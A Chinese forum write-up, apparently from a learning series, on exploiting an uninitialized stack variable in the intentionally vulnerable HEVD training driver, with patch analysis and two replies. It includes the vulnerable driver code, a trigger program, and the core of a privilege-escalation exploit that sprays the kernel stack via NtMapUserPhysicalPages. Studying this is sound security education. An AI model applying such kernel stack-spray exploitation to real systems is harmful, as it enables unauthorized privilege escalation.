首页
论坛
课程
招聘
[原创]HEVD内核漏洞学习(7)未初始化栈变量
2020-11-7 11:40 3497

[原创]HEVD内核漏洞学习(7)未初始化栈变量

2020-11-7 11:40
3497

0x00前言

这一系列就这样快结束了 这次是未初始化栈变量 开始吧

0x01漏洞原理

未初始化的栈 会在调用的时候 随机填入值 我们可以将shellcode填入其中 从而去执行我们的shellcode

函数分析

如前面所说 这个函数漏洞版本中未初始化内存栈 导致UserValue != MagicValue 调用回调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
NTSTATUS
TriggerUninitializedMemoryStack(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
 
#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //
 
    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //
 
    UNINITIALIZED_MEMORY_STACK UninitializedMemory;            //漏洞点
#endif
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue) {
            UninitializedMemory.Value = UserValue;
            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
        }
 
        DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
        DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
 
#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
 
        //
        // Call the callback function
        //
 
        if (UninitializedMemory.Callback)
        {
            UninitializedMemory.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

0x02漏洞分析

先下断点

1
bp HEVD!TriggerUninitializedMemoryStack

这次是会有几率失败的 所以我从TJ师傅那里的代码 进行验证 IO控制码还是从IDA中得到的哈

 

还有就是wjllz师傅说的方法(师傅在看雪另一位师傅下的评论 其实早都看到了 但还是在这里说一下吧)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<Windows.h>
 
 
int main()
{
 
    DWORD bReturn = 0;
    char buf[] = { 0 };
    *(PDWORD32)(buf) = 0xAAAAAAAA;
    HANDLE hDevice = NULL;
         hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
 
    return 0;
}

可以看到 对UserValue的值进行了正确的赋值

0x03漏洞利用

起初我以为是将回调函数的指针覆盖为shellcode的地址 在下断点查看之后发现并不是 看到TJ师傅讲的文章 里面提到了j00ru师傅的文章 进行栈喷射 在操作系统中 我们学到过关于用户栈和内核栈的皮毛 关于栈的结构 其实在ctfwiki上早已看到过 在j00ru师傅的文章中 也讲到过栈结构 再进一点的东西 我们需要知道下面函数

 

大致的先讲一下思路 我们先利用NtMapUserPhysicalPages进行栈喷射 将栈中的数据覆盖为我们shellcode 然后使用漏洞点 将其使用我们刚才我们控制的栈

1
2
3
4
5
6
7
8
NTSTATUS
 NtMapUserPhysicalPages (
   __in PVOID VirtualAddress,
   __in ULONG_PTR NumberOfPages,
   __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
 )
(...)
  ULONG_PTR StackArray[COPY_STACK_SIZE];

我们也可以看到COPY_STACK_SIZE是缓冲区栈值的大小 所以它可以使用户传递1024*4=4096个字节的值

1
#define COPY_STACK_SIZE             1024

即可以用来控制最多4096个字节的内核栈 我们将shellcode的位置传到此处 而我们使用的为

1
NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

看看exp的核心部分 首先申请内存进行栈喷射将shellcode的地址覆盖在栈中 然后再触发漏洞函数 进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__try {
    // Get the device handle
    DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
    DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
 
    hFile = GetDeviceHandle(FileName);
 
    if (hFile == INVALID_HANDLE_VALUE) {
        DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
    }
 
    DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
 
    DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
 
    StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                         HEAP_ZERO_MEMORY,
                                         StackSprayBufferSize);
 
    if (!StackSprayBuffer) {
        DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer);
        DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize);
    }
 
    DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
 
    for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) {
        StackSprayBuffer[i] = (ULONG)EopPayload;
    }
 
    DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
 
    ResolveKernelAPIs();
 
    DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n");
    DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n");
 
    OutputDebugString("****************Kernel Mode****************\n");
 
    // HackSys Extreme Vulnerable driver itself provides a decent interface
    // to spray the stack using Stack Overflow vulnerability. However, j00ru
    // on his blog disclosed a Windows API that can be used to spray stack up to
    // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since,
    // it's a Windows API and available on Windows by default, I decided to use
    // it instead of this driver's Stack Overflow interface.
    NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);
 
    // Kernel Stack should not be used for anything else as it
    // will corrupt the current sprayed state. So, we will directly
    // trigger the vulnerability without putting any Debug prints.
    DeviceIoControl(hFile,
                    HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
                    (LPVOID)&MagicValue,
                    0,
                    NULL,
                    0,
                    &BytesReturned,
                    NULL);
 
    OutputDebugString("****************Kernel Mode****************\n");
 
    HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);
 
    StackSprayBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
    DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}

提权成功

0x04补丁分析

在安全版本中 我们将栈的初始值进行赋值

0x05经验总结

对于未初始化栈利用 在内核态需要更加注意 稍有不慎就会覆盖到重要数据导致宕机 还好有前人的经验总结 让我们的可以更好的利用这些 不足之处是 师傅们不仅专业能力强 而且对于英文能力也是毫不逊色 自己真是太菜了qaq。。。

0x06出了点问题?

对于shellcode的地址在原则上说是没有问题的 但下断点查看之后 发现并不是这样 还是一个跳转表 本以为和上次一样 但继续跟踪之后发现并不能跟到shellcode的地址 这就很疑惑的 而我查看被覆盖的栈中 确实是大量相同的数据。。。。。不理解。。。。。但确实是提权成功了

 

对于提权成功也有点问题 每次恢复快照 有时候就可以100%提权成功 有时候就不可以 奇奇怪怪。。。


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 915
活跃值: 活跃值 (1287)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
丿一叶知秋 活跃值 2020-11-8 16:11
2
0
.我搞的这个工程...基本很多都跑不通,自己一个一个修复...
雪    币: 3481
活跃值: 活跃值 (2405)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Ring3 活跃值 1 2020-11-11 11:23
3
0
丿一叶知秋 .我搞的这个工程...基本很多都跑不通,自己一个一个修复...
环境的问题?我有时候快照恢复会提权失败 有时候则不会。。。。
游客
登录 | 注册 方可回帖
返回